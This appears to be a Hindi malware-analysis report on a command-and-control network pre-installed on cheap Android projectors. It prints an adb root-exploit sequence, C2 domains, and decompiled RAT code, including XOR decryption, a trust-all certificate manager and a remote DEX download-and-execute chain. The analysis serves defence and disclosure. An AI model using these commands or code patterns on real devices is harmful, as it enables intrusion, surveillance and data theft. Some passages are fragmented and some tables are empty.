
चीनी beamers के c2-network का ब्रेकडाउन - SilentSDK-Analysis
तकनीकी विश्लेषण रिपोर्ट — सुरक्षा अनुसंधान
प्रभावित उपकरण: Nonete जैसे बीमर ब्रांडों के कई एंड्रॉइड प्रोजेक्टर (उदा., मॉडल HY260Pro) (संभवतः Magcubic, Hotack, Huyukang और कई अन्य के भी कई प्रोजेक्टर, क्योंकि ये कंपनियां समान मॉडल वितरित करती हैं और इसका समर्थन करने वाले संकेत हैं)
चिपसेट प्लेटफॉर्म: Allwinner H713 / sun50iw12p1 — संभावित रूप से इस प्लेटफॉर्म के सभी उपकरणों को प्रभावित करता है
विश्लेषण अवधि: 11–17 अप्रैल, 2026
वर्गीकरण: रिमोट एक्सेस ट्रोजन पेलोड के साथ प्री-इंस्टॉल्ड कमांड-एंड-कंट्रोल इंफ्रास्ट्रक्चर
api.pixelpioneerss.com), संवेदनशील डिवाइस आईडी निकालता है, और किसी भी समय रूट विशेषाधिकारों के साथ मनमाना अतिरिक्त दुर्भावनापूर्ण कोड डाउनलोड और निष्पादित कर सकता है (chmod 777)। इसके अतिरिक्त, उपकरणों में खुले रूट बैकडोर हैं।*.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) को नेटवर्क स्तर पर अवरुद्ध किया जाना चाहिए। प्रभावित उपयोगकर्ता केवल ADB के माध्यम से मैन्युअल रूप से दुर्भावनापूर्ण ऐप्स को अक्षम कर सकते हैं, क्योंकि वे सिस्टम में गहराई से एम्बेडेड हैं।इस रिपोर्ट में प्रलेखित मैलवेयर इंफ्रास्ट्रक्चर एंड्रॉइड प्रोजेक्टरों पर प्री-इंस्टॉल्ड है जो वर्तमान में Amazon, eBay और AliExpress पर अंतिम उपभोक्ताओं को बड़ी मात्रा में बेचे जा रहे हैं। प्रभावित उपकरणों में संभवतः कई ब्रांड नाम शामिल हैं (Hotack, Huyukang, Magcubic, Nonete, और अन्य)। एक ही निर्माता के अन्य उपकरणों पर समान C2 इंफ्रास्ट्रक्चर की स्वतंत्र रूप से पुष्टि की गई है (धारा 13 देखें)। पैटर्न BADBOX मामलों से मेल खाता है।
खरीदा गया उपकरण: Amazon लिंक - Nonete Mini Beamer 4K 1080P
दायरे पर नोट: Allwinner H713 चिपसेट यूरोपीय बाजार में बदलते ब्रांड नामों के तहत बेचे जाने वाले कई सस्ते एंड्रॉइड प्रोजेक्टरों में बनाया गया है। समान फर्मवेयर बेस (h713_tuna_p3) और समान C2 ऑपरेटर (शेन्ज़ेन आओडिन टेक्नोलॉजी) दृढ़ता से सुझाव देते हैं कि इस OEM के सभी उपकरणों में समान इंफ्रास्ट्रक्चर है।
रूट एक्सेस तीन कमजोरियों के संयोजन के माध्यम से प्राप्त किया गया था:
/oem — पार्टीशन FAT के रूप में fmask=0000 के साथ माउंट किया गया है।customer.prop लोड होता है — सिस्टम प्रॉपर्टीज़ को अधिलेखित करता है।```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**प्रभाव:** कोई भी उपयोगकर्ता जिसके पास भौतिक पहुंच है या उसी नेटवर्क पर कोई हमलावर (ADB के माध्यम से, पोर्ट 5555 खुला, कोई प्रमाणीकरण नहीं) पूर्ण रूट एक्सेस प्राप्त करता है।
---
## 4. C2 सर्वर प्रतिक्रिया — मुख्य साक्ष्य
### कैप्चर किया गया HTTP अनुरोध```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
gzip-संपीड़ित प्रतिक्रिया में सात ऐप्स के साथ एक JSON सूची है। उनमें से छह नियमित स्ट्रीमिंग ऐप्स हैं (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere)। सातवाँ SilentTools है:
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**फ़्लैग्स की व्याख्या:**
- `isShow: false` — ऐप स्टोर इंटरफ़ेस में दिखाई नहीं देता।
- `isForce: true` — संभवतः कार्रवाई (इंस्टॉलेशन या अपडेट) को बलपूर्वक करता है।
- `isSilentUninstall: true` — उपयोगकर्ता इंटरैक्शन के बिना स्वयं को अनइंस्टॉल कर सकता है।
- `launchType: 1` — स्वचालित रूप से बैकग्राउंड सेवा प्रारंभ करता है।
- `launchParam: MyService` — स्थायी सेवा का संदर्भ।
- `zone: "Global"` — दुनिया भर के सभी उपकरणों को लक्षित करता है।
- `reverseLen` — SilentSDK `.apk` को पुनर्स्थापित करने के लिए आवश्यक बाइट लंबाई।
### एन्क्रिप्टेड डाउनलोड पथ
`path` फ़ील्ड AES-CBC एन्क्रिप्टेड है:
- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> डिवाइस का ChannelID.
- **Decrypted result:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
नोट: .bpp फ़ाइल एक्सटेंशन संभवतः फ़ायरवॉल को बायपास करने के लिए उपयोग किया जाता है, और निष्पादन के दौरान फ़ाइल का नाम बदलकर .apk कर दिया जाता है। इस कैप्चर में isSilentInstall फ़ील्ड false है। डीकंपाइल किए गए कोड से isForce: true का सटीक अर्थ स्पष्ट रूप से पुनर्निर्मित नहीं किया जा सका। यह संभावना से इनकार नहीं किया जा सकता कि यह मान सर्वर-साइड पर गतिशील रूप से true पर सेट किया गया है।
डिवाइस में चार इंटरैक्ट करने वाले सिस्टम ऐप्स हैं, सभी AOSP टेस्ट कुंजी से हस्ताक्षरित हैं और UID 1000 (सिस्टम) के साथ चल रहे हैं:```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — ड्रॉपर विश्लेषण
StoreOS एक ऐप स्टोर प्रतीत होता है जो स्वचालित रूप से स्थापित होता है; हालाँकि, यह एक ड्रॉपर का कार्य करता है।
**Package:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### अनुमतियाँ
| अनुमति | प्रभाव |
|:---|:---|
| `INSTALL_PACKAGES` | बिना उपयोगकर्ता संवाद के मौन स्थापना |
| `CLEAR_APP_USER_DATA` | मनमाना ऐप डेटा हटाना |
| `MASTER_CLEAR` | फ़ैक्टरी रीसेट ट्रिगर करना |
| `WRITE_SECURE_SETTINGS` | सुरक्षा सेटिंग्स संशोधित करना |
| `DEVICE_POWER` | डिवाइस पावर प्रबंधन |
| `MANAGE_EXTERNAL_STORAGE` | बाहरी स्टोरेज तक पूर्ण पहुँच |
### स्थापना श्रृंखला (डिकंपाइल कोड से)
1. **BootReceiver** `CheckUpdateService` प्रारंभ करता है।
2. HTTP POST `store-api.aodintech.com/sign/app/list` पर।
3. सर्वर `AppsData[]` वितरित करता है जिसमें फ़ील्ड हैं: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`।
4. `DownloadService` CDN से APK को `.bpp` फ़ाइलों के रूप में लाता है।
5. **बाइट-रिवर्सल सुरक्षा:** डिस्क पर लिखने से पहले पहले `reverseLen` बाइट्स को उल्टा किया जाता है (एंटी-विश्लेषण उपाय)।
6. डाउनलोड की गई फ़ाइल की MD5 सत्यापन।
7. `Runtime.getRuntime().exec("pm install -r " + filePath)` के माध्यम से स्थापना।
8. `StartAppService` स्थापित ऐप को `launchParam` के अनुसार लॉन्च करता है।
### बाइट-रिवर्सल तंत्र — तकनीकी प्रमाण
**Class:** `AbstractC2057b` — **Method:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
यह मेथड प्रत्येक डाउनलोड किए गए APK के पहले `reverseLen` बाइट्स को उलटता है। परिणामस्वरूप, इंटरसेप्ट की गई `.bpp` फ़ाइलों को विशिष्ट `reverseLen` मान जाने बिना मान्य APK के रूप में पहचाना या निकाला नहीं जा सकता।```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
डाउनलोड पथ में आह्वान (Class RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
इस तंत्र को उलट कर, SilentSDK APK को सफलतापूर्वक डिकोड और विश्लेषित किया गया।
### भू-लक्ष्यीकरण
StoreOS IP भू-स्थान के लिए `api.ipdatacloud.com/v2/query` का उपयोग करता है। `SpecialApps` वर्ग में `continent` और `countryCode` के लिए फ़ील्ड हैं, जो क्षेत्र-विशिष्ट पेलोड वितरण की अनुमति देते हैं।
---
## 7. EventUploadService — टेलीमेट्री
**पैकेज:** `com.htc.eventuploadservice`
**लक्ष्य:** `http://event-api.aodintech.com/report`
**अंतराल:** प्रत्येक 5 मिनट
| फ़ील्ड | नमूना मान | गोपनीयता प्रभाव |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MAC पता (PII) |
| `deviceSn` | `[REDACTED]` | सीरियल नंबर (अद्वितीय) |
| `channel` | `HY260Pro_hy_TPYB` | फ़र्मवेयर चैनल |
| `version` | `Projector.20250422.152235` | फ़र्मवेयर संस्करण |
| `model` | `NT10` | डिवाइस मॉडल |
| `language` | `en_US` | भाषा सेटिंग |
ट्रांसमिशन HTTP के माध्यम से बिना एन्क्रिप्शन और उपयोगकर्ता की सहमति के बिना होता है। MAC पता और सीरियल नंबर व्यक्तिगत उपकरणों की सटीक पहचान और ट्रैकिंग की अनुमति देते हैं।
---
## 8. ExpandSDK — विज्ञापन-इंजेक्शन
**पैकेज:** `com.htc.expandsdk`
**C2 सर्वर:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
ExpandSDK VAST वीडियो विज्ञापनों के लिए TCL VastAd SDK का उपयोग करता है और किसी भी स्क्रीन स्थिति पर सिस्टम ओवरले डायलॉग (`SYSTEM_ALERT_WINDOW`) प्रस्तुत करने में सक्षम है। कॉन्फ़िगरेशन में स्थिति फ़ील्ड (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) और पार्टनर पहचानकर्ता `htk` (Hotack) शामिल हैं।
ExpandSDK एक अलग मुद्रीकरण चैनल के रूप में SilentSDK से स्वतंत्र रूप से काम करता है।
---
## 9. SilentSDK — RAT विश्लेषण
**पैकेज:** `com.hotack.silentsdk`
**SHA-256 (डीकोडेड):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (डीकोडेड):** `5df097591d6942bae4eff33a37c4e28f`
### मैनिफ़ेस्ट विश्लेषण
| गुण | मान | अर्थ |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | सिस्टम विशेषाधिकार (UID 1000) |
| `usesCleartextTraffic` | `true` | HTTP ट्रैफ़िक अनुमत |
| लॉन्चर आइकन | उपयोगकर्ता को दिखाई नहीं देता | उपयोगकर्ता इंटरफ़ेस से छिपा हुआ |
| `BootReceiver` | प्राथमिकता 999 | लगभग सभी अन्य ऐप्स से पहले शुरू होता है |
| `MyService` | निर्यातित, अग्रभूमि | स्थायी पृष्ठभूमि सेवा |
| `BootStartActivity` | `com.htc.bootstart` | अतिरिक्त बूट ट्रिगर |
### DEX पैकिंग और डिक्रिप्शन
मूल DEX पैक किया गया है: हेडर 2,318,316 बाइट्स घोषित करता है, लेकिन संपीड़ित फ़ाइल में अमान्य Adler32 चेकसम के साथ केवल 65,536 बाइट्स हैं। StoreOS बाइट-रिवर्सल सुरक्षा को तोड़ने के बाद, DEX पूरी तरह से पढ़ने योग्य हो जाता है — फ़ाइल आकार और घोषित आकार मेल खाते हैं, और 16,241 स्ट्रिंग निकाली जा सकती हैं।
### XOR अस्पष्टीकरण — तकनीकी प्रमाण
सभी सुरक्षा-प्रासंगिक स्ट्रिंग्स को विधि `AbstractC0000a.m36g()` के भीतर एक घूर्णन XOR सिफर का उपयोग करके अस्पष्ट किया जाता है:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
यह डिक्रिप्टेड स्ट्रिंग्स का केवल एक हिस्सा दर्शाता है।
MAC हार्वेस्टिंग प्रवाह एक जानबूझकर अनुमति बाईपास को प्रकट करता है: जब WifiInfo.getMacAddress() Android का गोपनीयता-संरक्षित फ़ेक MAC (02:00:00:00:00:00) लौटाता है, तो मैलवेयर रूट शेल के माध्यम से सीधे /sys/class/net/wlan0/address से वास्तविक हार्डवेयर MAC पढ़ने के लिए फ़ॉलबैक करता है — ऐसा व्यवहार जो वैध ऐप्स में कभी नहीं देखा गया।
निम्नलिखित विश्लेषण ऐप स्टार्टअप से लेकर स्थायी C2 नियंत्रण तक पूरी निष्पादन श्रृंखला का पता लगाता है। क्लास नाम JADX-डीऑबफ़स्केटेड पहचानकर्ताओं को संदर्भित करते हैं।
MyApplication.java — प्रवेश बिंदु
Application.onCreate() ओवरराइड निष्पादित होने वाला पहला कोड है। यह तुरंत C0561f.m1737c को ApplicationContext के साथ कॉल करता है, किसी भी UI के रेंडर होने से पहले संपूर्ण मैलवेयर मशीनरी को बूटस्ट्रैप करता है।
AbstractC0577v.java — संदर्भ
यदि होस्ट ऐप स्वेच्छा से अपना संदर्भ प्रदान नहीं करता है, तो यह क्लास गहरे सिस्टम रिफ्लेक्शन (android.app.ActivityThread) का उपयोग करके स्वायत्त रूप से वैश्विक ApplicationContext चुराता है। यह होस्ट एप्लिकेशन पर निर्भर हुए बिना SDK को फ़ाइलों, सिस्टम सेवाओं और पैकेज प्रबंधन तक पूर्ण पहुँच प्रदान करता है।
C0578w.java — गतिविधि जीवनचक्र पर्यवेक्षक
प्रत्येक उपयोगकर्ता इंटरैक्शन की निगरानी करने के लिए ActivityLifecycleCallbacks के रूप में पंजीकृत होता है: कौन सी स्क्रीन खुली है, ऐप फ़ोरग्राउंड में है या बैकग्राउंड में। महत्वपूर्ण रूप से, यह अक्षम सिस्टम एनिमेशन को पुनः सक्षम करता है और SoftInputMode सेटिंग्स में हेरफेर करता है — अप्रत्याशित कीबोर्ड पॉप-अप के माध्यम से उपयोगकर्ता को सचेत किए बिना अदृश्य ओवरले (जैसे, क्लिक धोखाधड़ी के लिए) रेंडर करने के लिए आवश्यक शर्तें।
AbstractC0562g.java — Bot-ID जनरेशन
एक आक्रामक डिवाइस फ़िंगरप्रिंट उत्पन्न करता है: यादृच्छिक UUID + Build.BRAND + Build.MODEL + भौतिक MAC पता (cat /sys/class/net/wlan0/address के माध्यम से हार्वेस्ट किया गया, Android की गोपनीयता सुरक्षाओं को बायपास करते हुए) + android_id + टाइमस्टैम्प को जोड़कर। परिणामी स्ट्रिंग को MD5-हैश किया जाता है और adid के रूप में संग्रहीत किया जाता है — डिवाइस को C2 सर्वर के साथ पंजीकृत करने के लिए उपयोग किया जाने वाला स्थायी Bot-ID।
C0565j.java — SSL प्रमाणपत्र बाईपास
पूरी तरह से खाली मान्यता विधियों (checkClientTrusted, checkServerTrusted) के साथ एक हेरफेर किया गया X509TrustManager। यह सुनिश्चित करता है कि मैलवेयर किसी भी SSL प्रमाणपत्र को आँख बंद करके स्वीकार करता है, जिससे Android के सुरक्षा तंत्र C2 संचार को अवरुद्ध करने से रोकता है — भले ही C2 सर्वर से समझौता किया गया हो या अमान्य प्रमाणपत्र का उपयोग करता हो।```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
यदि SSL त्रुटि (`SSLException`) होती है, तो `f2664e` को `false` पर सेट कर दिया जाता है और सभी बाद के अनुरोध HTTPS के बजाय HTTP का उपयोग करते हैं।
#### चरण 3: पेलोड अधिग्रहण
**`C0566k.java` — ऑफ़लाइन फ़ॉलबैक (एम्बेडेड पेलोड)**
नेटवर्क से संपर्क करने से पहले, यह क्लास जाँचता है कि क्या APK के अंदर `assets/m17gawxG.java` पर एक पेलोड पहले से बंडल किया गया है। यदि मिलता है, तो यह फ़ाइल को बाइट-दर-बाइट पढ़ता है और हार्डकोडेड XOR कुंजी (`m17gawxG`) का उपयोग करके इसे डिक्रिप्ट करता है। परिणाम एक निष्पादन योग्य `.temp` फ़ाइल के रूप में लिखा जाता है। यह सुनिश्चित करता है कि RAT एयर-गैप्ड डिवाइसों पर या जब C2 सर्वर अप्राप्य हो, तब भी सक्रिय हो सके।
**`RunnableC0569n.java` — लाइव C2 डाउनलोडर**
यदि ऑफ़लाइन फ़ॉलबैक विफल रहता है, तो यह क्लास Bot-ID, पैकेज नाम, और Android संस्करण वाला एक JSON बीकन तैयार करता है, फिर C2 एंडपॉइंट `api.pixelpioneerss.com` से संपर्क करता है:
**चरण 1 — यादृच्छिक पथ के साथ URL निर्माण:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
चरण 2 — Beacon Payload:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**चरण 3 — AES एन्क्रिप्शन और ट्रांसमिशन:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
चरण 4 — सर्वर प्रतिक्रिया प्रसंस्करण:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
The downloader (`AbstractC0000a.m37h`) fetches the payload and then uses a root shell to grant it full execution permissions via `chmod 777`.
All C2 requests carry the custom HTTP header `a: 1003` — a network-level signature of this malware family.
#### चरण 4: निष्पादन और नियंत्रण
**`AbstractC0568m.java` — स्टेजिंग क्षेत्र**
डिवाइस के फ़ाइलसिस्टम पर **`TMRXwWJu3G5`** नामक एक गुप्त निर्देशिका बनाता है जहाँ सभी डाउनलोड किए गए पेलोड स्टेज किए जाते हैं। इस क्लास में ऐसी विधियाँ (`m1754e`) भी शामिल हैं जो भौतिक कुंजी इवेंट (`KeyEvent`) को इंटरसेप्ट करती हैं, जिससे उपयोगकर्ता को दुर्भावनापूर्ण ओवरले सक्रिय होने पर "Back" बटन दबाने से रोका जाता है।
**`C0561f.java` — ऑर्केस्ट्रेटर**
पूरी श्रृंखला को एक साथ जोड़ता है। यह `C0566k.m1746b` में अत्यधिक अस्पष्ट कोड को कॉल करता है, जो स्ट्रिंग `"dalvik.system.DexClassLoader"` को बनाने और इसे आरंभ करने के लिए रिफ्लेक्शन का उपयोग करता है। फिर ClassLoader को अंतिम पेलोड क्लास को लोड और निष्पादित करने के लिए बाध्य किया जाता है:```
com.me.cash5.OoO0OOo
इस बिंदु से आगे, डायनामिकली लोड किया गया पेलोड ऐप की प्रक्रिया संदर्भ (UID 1000 / System) में पूर्ण नियंत्रण रखता है।
AbstractC0563h.java और C0558c.java — टेलीमेट्री संग्रह
प्रत्येक मॉड्यूल लोड, त्रुटि घटना (जैसे, डाउनलोड विफलता), या ओवरले प्रदर्शन एक स्थिति रिपोर्ट (जैसे SSL त्रुटियों के लिए "e6", "e4" कोडित) ट्रिगर करता है। C0558c एक समर्पित संग्रह थ्रेड ("burying_loop_s") चलाता है जो इन घटनाओं को एकत्रित करता है। हर 5 सेकंड में, यह "d" (डिवाइस मॉडल), "e" (SDK संस्करण), "c" (Android ID) जैसे फ़ील्ड के साथ एक व्यापक JSON टेलीमेट्री पैकेट तैयार करता है।
RunnableC0564i.java — डेटा एक्सफ़िलट्रेटर
यह टेलीमेट्री JSON लेता है, इसे GZIPOutputStream से संपीड़ित करता है (ट्रैफ़िक विश्लेषण को बाधित करने के लिए), फिर इसे कस्टम AES से एन्क्रिप्ट करता है — डायनामिक कुंजियों को सिफरटेक्स्ट में जोड़ता है। परिणामी GZIP-AES पैकेट SSL-बायपासिंग TrustManager के माध्यम से एक समर्पित ट्रैकिंग सर्वर पर प्रेषित किया जाता है:```
bur.thedynamicleap.com
यह प्राथमिक `api.pixelpioneerss.com` से **एक अलग C2 डोमेन** है, जिसका उपयोग विशेष रूप से टेलीमेट्री एक्सफ़िल्ट्रेशन के लिए किया जाता है।
**`AbstractC0572q.java` & `RunnableC0560e.java` — हार्टबीट और स्व-उपचार**
परसिस्टेंस तंत्र। `AbstractC0572q` मुख्य थ्रेड पर एक टाइमर बनाए रखता है। यदि इंफेक्शन चेन का कोई भी हिस्सा विफल हो जाता है (जैसे, डाउनलोड के दौरान कोई इंटरनेट नहीं), तो यह `sendEmptyMessageDelayed(..., 60000L)` को फायर करता है। ठीक 60 सेकंड के बाद, `RunnableC0560e` (एक बैकग्राउंड वर्कर के रूप में) पूरी इंफेक्शन मशीनरी को शुरू से पुनरारंभ करता है। यह लूप तब तक अनिश्चित काल तक दोहराता है जब तक इंफेक्शन सफल नहीं हो जाता।
### परसिस्टेंस और डायनामिक लोडिंग — सारांश
`RunnableC0569n` में विधि `m1762a()` पूर्ण पेलोड डाउनलोड चक्र को कार्यान्वित करती है:
1. C2 से DEX फ़ाइल डाउनलोड करें।
2. MD5 हैश सत्यापित करें।
3. SharedPreferences में संस्करण संख्या सहेजें।
4. `DexClassLoader` या `Runtime.exec()` के माध्यम से DEX लोड और निष्पादित करें।
5. त्रुटियों पर: SharedPreferences में पुनर्प्रयास काउंटर बढ़ाएँ, 13 असफल प्रयासों के बाद रुकें — फिर 60-सेकंड का हार्टबीट चक्र पुनरारंभ करता है।
## 9.1. मैलवेयर पेलोड
C2 सर्वर को यह अनुरोध भेजने के बाद:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
प्रतिक्रिया:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. मैलवेयर
पेलोड को सफलतापूर्वक प्राप्त करने और आगे के विश्लेषण के बाद, मैंने यह निर्धारित किया—कस्टम एन्क्रिप्शन और अस्पष्टता की महत्वपूर्ण परतों को बायपास करने के बाद—कि मैलवेयर एक अत्यधिक मॉड्यूलर आर्किटेक्चर का उपयोग करता है। यह एक परिष्कृत फ्रेमवर्क के रूप में काम करता है जो फोरेंसिक साक्ष्य को नष्ट करने के लिए प्लगइन्स को गतिशील रूप से डाउनलोड करने, अपडेट करने, पुनरारंभ करने और सक्रिय रूप से हटाने में सक्षम है। ये पेलोड रूट विशेषाधिकारों के साथ निष्पादित होते हैं। इसके अलावा, कोड स्क्रीन पर पूर्ण WebViews को ओवरले करने के लिए डिज़ाइन किए गए तंत्र को प्रकट करता है, जो उन्नत फ़िशिंग क्षमताओं को दृढ़ता से इंगित करता है। मैलवेयर उन्नत लक्ष्यीकरण और चोरी की रणनीति भी प्रदर्शित करता है: यह विशिष्ट क्षेत्रों पर प्रहार करने के लिए सख्त जियोफेंसिंग लागू करता है, CPU आर्किटेक्चर (`arm64`, `armeabi`, `x86`, और `mips` के बीच अंतर करते हुए) प्रोफाइल करता है, और अपने C2 संचार को सुरक्षित करने के लिए SSL प्रमाणपत्र सत्यापन को सक्रिय रूप से बायपास करता है। मैं इस सारांश को जानबूझकर अभी के लिए संक्षिप्त रख रहा हूं, क्योंकि भारी अस्पष्टता के कारण एक लंबी और चल रही रिवर्स-इंजीनियरिंग प्रक्रिया की आवश्यकता है।
## 11. सिस्टम बैकडोर
### 11.1 छिपा हुआ `su` बाइनरी: `/system/bin/qw`
`qw` (कौशिकदत्त सुपरयूज़र, 388 KB, स्थिर रूप से लिंक्ड, ARM 32-बिट) के रूप में नाम बदला गया एक `su` बाइनरी:```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)प्लेटफ़ॉर्म हस्ताक्षर प्रमाणपत्र AOSP स्रोत कोड में सार्वजनिक रूप से शामिल परीक्षण कुंजी है (packages.xml में प्रमाणपत्र सूचकांक 0)। इस कुंजी से हस्ताक्षरित कोई भी ऐप डिवाइस पर स्वचालित रूप से सिस्टम विशेषाधिकार प्राप्त करता है। यह कुंजी किसी भी Android डेवलपर के लिए स्वतंत्र रूप से सुलभ है।
dbgserver/vendor/bin/dbgserver — हार्डवेयर रजिस्टर I/O सर्वर, विश्व-लेखनीय उपकरण /dev/hidtvreg (crwxrwxrwx) के माध्यम से संचार करता है।
सभी C2 संचार अनएन्क्रिप्टेड HTTP पर होता है। यह MITM (मैन-इन-द-मिडल) हमलों को सक्षम बनाता है: उसी नेटवर्क पर एक हमलावर ऐप सूची में हेरफेर कर सकता है और मनमाने APKs इंजेक्ट कर सकता है, जो तब सिस्टम विशेषाधिकारों के साथ स्थापित हो जाएंगे।
डिवाइस स्वयं को Google के ADT-3 (Android TV डेवलपर किट) के रूप में छिपाता है:
| गुण | स्पूफ़ किया गया मान |
|---|
यह स्पूफ़िंग संभवतः Google Play प्रमाणन जाँचों को बायपास करने के लिए है।
जनवरी 2026 में, सुरक्षा शोधकर्ता Zane St. John ने समान मैलवेयर बुनियादी ढांचे वाले समान उपकरणों का एक विश्लेषण प्रकाशित किया। निष्कर्ष सभी महत्वपूर्ण बिंदुओं पर मेल खाते हैं: C2 एंडपॉइंट, XOR अस्पष्टीकरण, AES-128-CBC प्रोटोकॉल, अभियान आईडी f101, SSL बायपास, और chmod 777। Zane St. John द्वारा विश्लेषित उपकरण पहले से ही SilentSDK से संक्रमित प्रतीत होता है, जो मेरे उपकरण पर बॉक्स से बाहर नहीं था। Zane St. John के विश्लेषण में एंडपॉइंट भी थोड़े बदले हुए प्रतीत होते हैं, जो एंडपॉइंट रोटेशन की संभावना का संकेत देते हैं। इसके अतिरिक्त, उनके मामले में SilentSDK पूर्व-स्थापित प्रतीत होता है, जबकि मेरे उपकरण पर यह aodintech के ट्रिगर सिग्नल भेजने के बाद डाउनलोड और स्थापित होता है।
स्रोत: https://zanestjohn.com/blog/reing-with-claude-code
| स्रोत | MD5 |
|---|
C2 सर्वर वितरण, हमारे स्वयं के डिक्रिप्शन, और बाहरी विश्लेषण से हैश समान हैं — यह पुष्टि करते हुए कि यह बिल्कुल वही मैलवेयर है। यह मैलवेयर के व्यापक प्रसार की पुष्टि करता है।
